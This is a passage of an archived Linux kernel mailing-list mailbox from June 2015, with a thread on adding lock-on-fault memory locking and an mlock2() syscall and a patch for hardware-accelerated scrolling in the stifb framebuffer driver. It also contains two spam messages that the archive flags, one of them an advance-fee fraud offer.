>>> that even makes sense but the behaviour should be understood and
>>> tested.
>>
>> I have extended the kselftest for lock-on-fault to try both of these
>> scenarios and they work as expected.  The VMA is split and the VM
>> flags are set appropriately for the resulting VMAs.
>
> munlock() should do vma merging as well.  I *think* we implemented
> that.  More tests for you to add ;)
>
> How are you testing the vma merging and splitting, btw?  Parsing
> the profcs files?
>
>>> What's missing here is a syscall to set VM_LOCKONFAULT on an
>>> arbitrary range of memory - mlock() for lock-on-fault.  It's a
>>> shame that mlock() didn't take a `mode' argument.  Perhaps we
>>> should add such a syscall - that would make the mmap flag unneeded
>>> but I suppose it should be kept for symmetry.
>>
>> Do you want such a system call as part of this set?  I would need some
>> time to make sure I had thought through all the possible corners one
>> could get into with such a call, so it would delay a V3 quite a bit.
>> Otherwise I can send a V3 out immediately.
>
> I think the way to look at this is to pretend that mm/mlock.c doesn't
> exist and ask "how should we design these features".
>
> And that would be:
>
> - mmap() takes a `flags' argument: MAP_LOCKED|MAP_LOCKONFAULT.

Note that the semantic of MAP_LOCKED can be subtly surprising:

"mlock(2) fails if the memory range cannot get populated to guarantee
that no future major faults will happen on the range. mmap(MAP_LOCKED) 
on the other hand silently succeeds even if the range was populated only
partially."

( from http://marc.info/?l=linux-mm&m=143152790412727&w=2 )

So MAP_LOCKED can silently behave like MAP_LOCKONFAULT. While 
MAP_LOCKONFAULT doesn't suffer from such problem, I wonder if that's 
sufficient reason not to extend mmap by new mlock() flags that can be 
instead applied to the VMA after mmapping, using the proposed mlock2() 
with flags. So I think instead we could deprecate MAP_LOCKED more 
prominently. I doubt the overhead of calling the extra syscall matters here?

> - mlock() takes a `flags' argument.  Presently that's
>    MLOCK_LOCKED|MLOCK_LOCKONFAULT.
>
> - munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
>    to specify which flags are being cleared.
>
> - mlockall() and munlockall() ditto.
>
>
> IOW, LOCKED and LOCKEDONFAULT are treated identically and independently.
>
> Now, that's how we would have designed all this on day one.  And I
> think we can do this now, by adding new mlock2() and munlock2()
> syscalls.  And we may as well deprecate the old mlock() and munlock(),
> not that this matters much.
>
> *should* we do this?  I'm thinking "yes" - it's all pretty simple
> boilerplate and wrappers and such, and it gets the interface correct,
> and extensible.

If the new LOCKONFAULT functionality is indeed desired (I haven't still 
decided myself) then I agree that would be the cleanest way.

> What do others think?
>
> --
> To unsubscribe, send a message with 'unsubscribe linux-mm' in
> the body to majordomo@kvack.org.  For more info on Linux MM,
> see: http://www.linux-mm.org/ .
> Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harrison Ken <momotabi.5@apricot.ocn.ne.jp>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: BUSINESS DEAL?
Date: Sun, 14 Jun 2015 08:14:44 +0900 (JST)
Lines: 11
Approved: news@gmane.org
Message-ID: <202192751.960295.1434237284540.JavaMail.root__17625.7542836995$1434237807$gmane$org@apricot.ocn.ne.jp>
Reply-To: Harrison Ken <harrisonken102@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434237807 13934 80.91.229.3 (13 Jun 2015 23:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Jun 2015 23:23:27 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 14 01:23:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z3ulV-0004rs-Lv
	for glpp-linux-parisc@plane.gmane.org; Sun, 14 Jun 2015 01:23:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751955AbbFMXWt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Jun 2015 19:22:49 -0400
Original-Received: from mbkd0309.ocn.ad.jp ([153.149.236.10]:52758 "EHLO
	mbkd0309.ocn.ad.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751589AbbFMXWh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Jun 2015 19:22:37 -0400
X-Greylist: delayed 465 seconds by postgrey-1.27 at vger.kernel.org; Sat, 13 Jun 2015 19:22:34 EDT
Original-Received: from mf-smf-ucb011.ocn.ad.jp (mf-smf-ucb011.ocn.ad.jp [153.149.228.228])
	by mbkd0309.ocn.ad.jp (Postfix) with ESMTP id E37C320088B;
	Sun, 14 Jun 2015 08:14:48 +0900 (JST)
Original-Received: from mv-osn-hkg004.ocn.ad.jp (mv-osn-hkg004.ocn.ad.jp [122.28.14.147])
	by mf-smf-ucb011.ocn.ad.jp (Switch-3.3.4/Switch-3.3.4) with ESMTP id t5DNEkrm060918;
	Sun, 14 Jun 2015 08:14:46 +0900
Original-Received: from mzcstore091.ocn.ad.jp (mv-osn-hkg004 [122.28.14.147])
	by mv-osn-hkg004.ocn.ad.jp (Postfix) with ESMTP id A0D527F8338;
	Sun, 14 Jun 2015 08:14:44 +0900 (JST)
X-Originating-IP: [41.138.90.67]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.3 points;
 *  1.8 SUBJ_ALL_CAPS Subject is all capitals
 *  2.2 DEAR_SOMETHING BODY: Contains 'Dear (something)'
 *  2.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?41.138.90.67>]
 *  2.0 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.spam.detected:5290115 gmane.linux.ports.parisc:25769
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/5290115>

Dear Sir/Ma,

I need your consent to transfer $25.5M that has remained unclaimed since 1999. The funds will be moved to any of our correspondent Banks in "YOUR NAME" immediately to secure the funds first. The Principal will be shared on a 50/50 basis.

Yours Faithfully,
Mr. Harrison Ken.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Klientskie bazi tel +79133913837 Yznaite podrobnee!!!" 
	<linux-parisc@vger.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Klientskie bazi tel +79133913837 Yznaite podrobnee!!!
Date: Wed, 10 Jun 2015 16:53:43 +0400
Organization: Klientskie bazi tel +79133913837 Yznaite podrobnee!!!
Lines: 6
Approved: news@gmane.org
Message-ID: <679DDE964591BF0CD0D59C215562E63B@vger.kernel.org>
Reply-To: "Klientskie bazi tel +79133913837 Yznaite podrobnee!!!" 
	  <lidiaaksenov@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	format=flowed;
	charset="utf-8";
	reply-type=original
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434257501 9942 80.91.229.3 (14 Jun 2015 04:51:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Jun 2015 04:51:41 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 14 06:51:36 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z3ztM-0007B6-GE
	for glpp-linux-parisc@plane.gmane.org; Sun, 14 Jun 2015 06:51:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751015AbbFNEv3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Jun 2015 00:51:29 -0400
Original-Received: from [186.27.126.130] ([186.27.126.130]:35463 "EHLO
	NUE-cach-SCZ.localdomain" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750867AbbFNEv3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Jun 2015 00:51:29 -0400
Original-Received: from 186.27.126.130 (localhost [127.0.0.1])
	by NUE-cach-SCZ.localdomain (Postfix) with SMTP id 038E1BE542
	for <linux-parisc@vger.kernel.org>; Wed, 10 Jun 2015 10:55:08 +0000 (UTC)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5931
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25770
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25770>

Klientskie bazi tel +79133913837 Yznaite podrobnee!!!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lausgans@gmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] stifb: Implement hardware accelerated copyarea
Date: Mon, 15 Jun 2015 08:50:45 +0300
Lines: 101
Approved: news@gmane.org
Message-ID: <679FC99F-317B-4925-A6D8-2F0DB4EC6EBD@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 8.2 \(2098\))
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1434347464 12912 80.91.229.3 (15 Jun 2015 05:51:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2015 05:51:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 15 07:50:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z4NIK-0000Wl-8H
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Jun 2015 07:50:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751515AbbFOFuv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Jun 2015 01:50:51 -0400
Original-Received: from mail-la0-f51.google.com ([209.85.215.51]:36682 "EHLO
	mail-la0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751091AbbFOFuu convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Jun 2015 01:50:50 -0400
Original-Received: by lacny3 with SMTP id ny3so30739496lac.3
        for <linux-parisc@vger.kernel.org>; Sun, 14 Jun 2015 22:50:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:content-type:content-transfer-encoding:subject:date:message-id
         :cc:to:mime-version;
        bh=h9em6LHTRc9X6svGyC08Yaf1iCQg7K8e+vwHt/L/OdI=;
        b=Xy59SzPeTkTc7swToHU53HBYJCIAIcze741Gv0se7mZlH8HYFQemJMbs6PB2ZpfckO
         VudPhX+Ao60ilxO8SNy5GPRUCGhG/PHuNV3Z0OAoWAtQD1r4YVFgEesXOZcJDFVPuIYT
         r6xo0eOc5U/e1I14I6FTRlOi/1VbEbsw2r37DBGIgenRGrcSpO7hRrNvIQWwScTLAr5t
         PP2MQfUhQAghLQQFzBiWQlE+2QaYuhrbLUL9f2kGjQqf+QgLe2BfeVdPL04CdljFrPG8
         07TR/GX8LsHnzukM6YwAQABqAuHUO53K4FYT4R7Y2QBwB3Xlwl46HD4VlHByQILsqT3y
         odkw==
X-Received: by 10.152.203.233 with SMTP id kt9mr3197302lac.99.1434347449069;
        Sun, 14 Jun 2015 22:50:49 -0700 (PDT)
Original-Received: from [192.168.1.31] (gero.in. [77.37.212.15])
        by mx.google.com with ESMTPSA id t1sm2473386laj.33.2015.06.14.22.50.47
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 14 Jun 2015 22:50:48 -0700 (PDT)
X-Mailer: Apple Mail (2.2098)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25771>

This patch adds hardware assisted scrolling. The code is based upon the
following investigation: https://parisc.wiki.kernel.org/index.php/NGLE#Blitter A
simple 'time ls -la /usr/bin' test shows 1.6x speed increase over soft copy and
2.3x increase over FBINFO_READS_FAST (prefer soft copy over screen redraw) on
Artist framebuffer.

Thanks!

Signed-off-by: Alex Ivanov <lausgans@gmail.com>

diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index 86621fa..735355b 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -121,6 +121,7 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
#define REG_3		0x0004a0
#define REG_4		0x000600
#define REG_6		0x000800
+#define REG_7		0x000804
#define REG_8		0x000820
#define REG_9		0x000a04
#define REG_10		0x018000
@@ -135,6 +136,8 @@ static int __initdata stifb_bpp_pref[MAX_STI_ROMS];
#define REG_21		0x200218
#define REG_22		0x0005a0
#define REG_23		0x0005c0
+#define REG_24		0x000808
+#define REG_25		0x000b00
#define REG_26		0x200118
#define REG_27		0x200308
#define REG_32		0x21003c
@@ -429,6 +432,9 @@ ARTIST_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb, int enable)
#define SET_LENXY_START_RECFILL(fb, lenxy) \
	WRITE_WORD(lenxy, fb, REG_9)

+#define SETUP_COPYAREA(fb) \
+	WRITE_BYTE(0, fb, REG_16b1)
+
static void
HYPER_ENABLE_DISABLE_DISPLAY(struct stifb_info *fb, int enable)
{
@@ -1004,6 +1010,36 @@ stifb_blank(int blank_mode, struct fb_info *info)
	return 0;
}

+static void
+stifb_copyarea(struct fb_info *info, const struct fb_copyarea *area)
+{
+	struct stifb_info *fb = container_of(info, struct stifb_info, info);
+
+	SETUP_COPYAREA(fb);
+
+	SETUP_HW(fb);
+	if (fb->info.var.bits_per_pixel == 32) {
+		WRITE_WORD(0xBBA0A000, fb, REG_10);
+
+		NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xffffffff);
+	} else {
+		WRITE_WORD(fb->id == S9000_ID_HCRX ? 0x13a02000 : 0x13a01000, fb, REG_10);
+
+		NGLE_REALLY_SET_IMAGE_PLANEMASK(fb, 0xff);
+	}
+
+	NGLE_QUICK_SET_IMAGE_BITMAP_OP(fb,
+		IBOvals(RopSrc, MaskAddrOffset(0),
+		BitmapExtent08, StaticReg(1),
+		DataDynamic, MaskOtc, BGx(0), FGx(0)));
+
+	WRITE_WORD(((area->sx << 16) | area->sy), fb, REG_24);
+	WRITE_WORD(((area->width << 16) | area->height), fb, REG_7);
+	WRITE_WORD(((area->dx << 16) | area->dy), fb, REG_25);
+
+	SETUP_FB(fb);
+}
+
static void __init
stifb_init_display(struct stifb_info *fb)
{
@@ -1069,7 +1105,7 @@ static struct fb_ops stifb_ops = {
	.fb_setcolreg	= stifb_setcolreg,
	.fb_blank	= stifb_blank,
	.fb_fillrect	= cfb_fillrect,
-	.fb_copyarea	= cfb_copyarea,
+	.fb_copyarea	= stifb_copyarea,
	.fb_imageblit	= cfb_imageblit,
};

@@ -1258,7 +1294,7 @@ static int __init stifb_init_fb(struct sti_struct *sti, int bpp_pref)
	info->fbops = &stifb_ops;
	info->screen_base = ioremap_nocache(REGION_BASE(fb,1), fix->smem_len);
	info->screen_size = fix->smem_len;
-	info->flags = FBINFO_DEFAULT;
+	info->flags = FBINFO_DEFAULT | FBINFO_HWACCEL_COPYAREA;
	info->pseudo_palette = &fb->pseudo_palette;

	/* This has to be done !!! */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Mon, 15 Jun 2015 10:39:34 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <20150615143934.GA12300@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
 <5579DFBA.80809@akamai.com>
 <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3MwIy2ne0vdjdPXF"
X-Trace: ger.gmane.org 1434379202 8372 80.91.229.3 (15 Jun 2015 14:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Jun 2015 14:40:02 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Mon Jun 15 16:39:52 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z4VY7-0005zf-Ab
	for glkm-linux-mm-2@m.gmane.org; Mon, 15 Jun 2015 16:39:43 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id DBF7F6B0073; Mon, 15 Jun 2015 10:39:36 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D6FF16B0074; Mon, 15 Jun 2015 10:39:36 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C5E476B0075; Mon, 15 Jun 2015 10:39:36 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f46.google.com (mail-pa0-f46.google.com [209.85.220.46])
	by kanga.kvack.org (Postfix) with ESMTP id 884E46B0073
	for <linux-mm@kvack.org>; Mon, 15 Jun 2015 10:39:36 -0400 (EDT)
Original-Received: by pacgb13 with SMTP id gb13so36745879pac.1
        for <linux-mm@kvack.org>; Mon, 15 Jun 2015 07:39:36 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=+e3fbvARYpNnpEx/fcWrCmCqV9xfLRGBcfx2qApJYHE=;
        b=jQg0DJ55SsquN1Rt6xa7aI5ylfDZqJPHE4mF1SwLDEhnGu4zX0kxRmW5RZNa7nvh7Y
         uyXzKfDQdg/xLqu6umApeBDJmdqZ/ZokinVbBPzUEevdQma7Rtst7z5VOK6ZOKkdXxu8
         xaWdSxglQP2GQpTS5wZMUTn/Y+tLDanfMztBogFks0ByzCfArcvuwU1K7ydjNDeM2vnz
         lHDZg0/eDnP209c1978IDNOACg8Kukg1fnR1S+rh81q9E40e6wQhfh7b3qJgNj4bwph8
         VD1UqT/1I7q0SCgBKbaCPdLZyfgt/7rvkCeAcO54SsVIfHySPP8A1QSgiUf8s7bqf9Sq
         1pzQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQnkVgXuzwOqSsBFjavzSGPOuquYszj84cv2ZX0apQzEAGCO2xVVhCoEeXMK7NxDCi0ym+jKHZGqM7xLiebTUom34l+1MDibNob0q6g8x/DlZuL70cIz9SjJAlnAind1YmXyLSSTfHXHLHTFf70AQwLbWPOOJS6hD25sftftOxrYhFkMzXOCAOX9teEhizQ5xnKi5qA9
X-Received: by 10.68.232.194 with SMTP id tq2mr49108796pbc.90.1434379176239;
        Mon, 15 Jun 2015 07:39:36 -0700 (PDT)
X-Received: by 10.68.232.194 with SMTP id tq2mr49108744pbc.90.1434379175721;
        Mon, 15 Jun 2015 07:39:35 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id f6si18178570pdj.194.2015.06.15.07.39.35
        for <linux-mm@kvack.org>;
        Mon, 15 Jun 2015 07:39:35 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id E7B6348896;
	Mon, 15 Jun 2015 14:39:34 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id D1B5A4882B;
	Mon, 15 Jun 2015 14:39:34 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id CBA1B8008D;
	Mon, 15 Jun 2015 14:39:34 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134331 gmane.linux.ports.alpha:3134 gmane.linux.kernel:1976698 gmane.linux.ports.mips.general:49095 gmane.linux.ports.parisc:25772 gmane.linux.ports.ppc64.devel:114363 gmane.linux.ports.sparc:21144 gmane.linux.kernel.cross-arch:28091 gmane.linux.kernel.api:12118
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134331>


--3MwIy2ne0vdjdPXF
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 11 Jun 2015, Andrew Morton wrote:

> On Thu, 11 Jun 2015 15:21:30 -0400 Eric B Munson <emunson@akamai.com> wro=
te:
>=20
> > > Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure
> > > that even makes sense but the behaviour should be understood and
> > > tested.
> >
> > I have extended the kselftest for lock-on-fault to try both of these
> > scenarios and they work as expected.  The VMA is split and the VM
> > flags are set appropriately for the resulting VMAs.
>=20
> munlock() should do vma merging as well.  I *think* we implemented
> that.  More tests for you to add ;)
>=20
> How are you testing the vma merging and splitting, btw?  Parsing
> the profcs files?

The lock-on-fault test now covers VMA splitting and merging by parsing
/proc/self/maps.  VMA splitting and merging works as it should with both
MAP_LOCKONFAULT and MCL_ONFAULT.

>=20
> > > What's missing here is a syscall to set VM_LOCKONFAULT on an
> > > arbitrary range of memory - mlock() for lock-on-fault.  It's a
> > > shame that mlock() didn't take a `mode' argument.  Perhaps we
> > > should add such a syscall - that would make the mmap flag unneeded
> > > but I suppose it should be kept for symmetry.
> >=20
> > Do you want such a system call as part of this set?  I would need some
> > time to make sure I had thought through all the possible corners one
> > could get into with such a call, so it would delay a V3 quite a bit.
> > Otherwise I can send a V3 out immediately.
>=20
> I think the way to look at this is to pretend that mm/mlock.c doesn't
> exist and ask "how should we design these features".
>=20
> And that would be:
>=20
> - mmap() takes a `flags' argument: MAP_LOCKED|MAP_LOCKONFAULT.
>=20
> - mlock() takes a `flags' argument.  Presently that's
>   MLOCK_LOCKED|MLOCK_LOCKONFAULT.
>=20
> - munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
>   to specify which flags are being cleared.
>=20
> - mlockall() and munlockall() ditto.
>=20
>=20
> IOW, LOCKED and LOCKEDONFAULT are treated identically and independently.
>=20
> Now, that's how we would have designed all this on day one.  And I
> think we can do this now, by adding new mlock2() and munlock2()
> syscalls.  And we may as well deprecate the old mlock() and munlock(),
> not that this matters much.
>=20
> *should* we do this?  I'm thinking "yes" - it's all pretty simple
> boilerplate and wrappers and such, and it gets the interface correct,
> and extensible.
>=20
> What do others think?

I am working on V3 which will introduce the new system calls.

--3MwIy2ne0vdjdPXF
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVfuOmAAoJELbVsDOpoOa9s3IP/3PHZ6S5YUFkxUlalwmhJoDD
YtCVtwakGJ0GjPMI4iM+H1TsCym6AYH/Kv0dxfnTbFMTqClzHq7V3QZt9IHJH7Pb
Z8gBH247JOk7opOsB3Cb3gLvAkQ4bfgXObSsgvPLCID2GumlUOINBpXwYBpNLh00
+4blC/0gdEp0C8xAPbJIzguSEI5wAwmOISlSQipb2ptEl+aAFjxRLARl47pD6EES
N6pYgeVfNZ/F63Ywoley/s2RE7pvm3ofCVcrNC8AH1lolbbEZgrQBJKB/Sq5RC2W
pcO4Z6Y3UOziTyNuWcHRVOGjK/gpoFnncdFJzmjMubx8N+8dus1Wl3xwvXidYT8e
bLqc3acsUy2zLFQJRZIxuR9PPXVpKLCc0GF5Ufqa6ej5PKEsMJ2Baqy7x5Ujgyts
ceNH2d1JRtkxdVw+WqBetjatM2icb+Yf/e3hOzr85thaAVGyoNJtlyhAciY4aIbW
JhCpFuhvCuUcag2nNrrN5Ry3noGv3pm2AuqmUVSEZjorLsQnN5/3FxntVSb4YWkg
VSLD4QHMiE0UeWnhCzKN7I5e/QhrnJ+HABx0GfTgjcXt1VQiKwxEp9A8+JsRmGiF
G0oOTWsE/oUx+KCluuIRPpKuuiX0Nc50IEH3vklCIAkAWriMfh/jZvDTIeR1Wtci
3BTlJ2Z0erX8IPh+BVnI
=jO18
-----END PGP SIGNATURE-----

--3MwIy2ne0vdjdPXF--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Mon, 15 Jun 2015 10:43:56 -0400
Lines: 123
Approved: news@gmane.org
Message-ID: <20150615144356.GB12300@akamai.com>
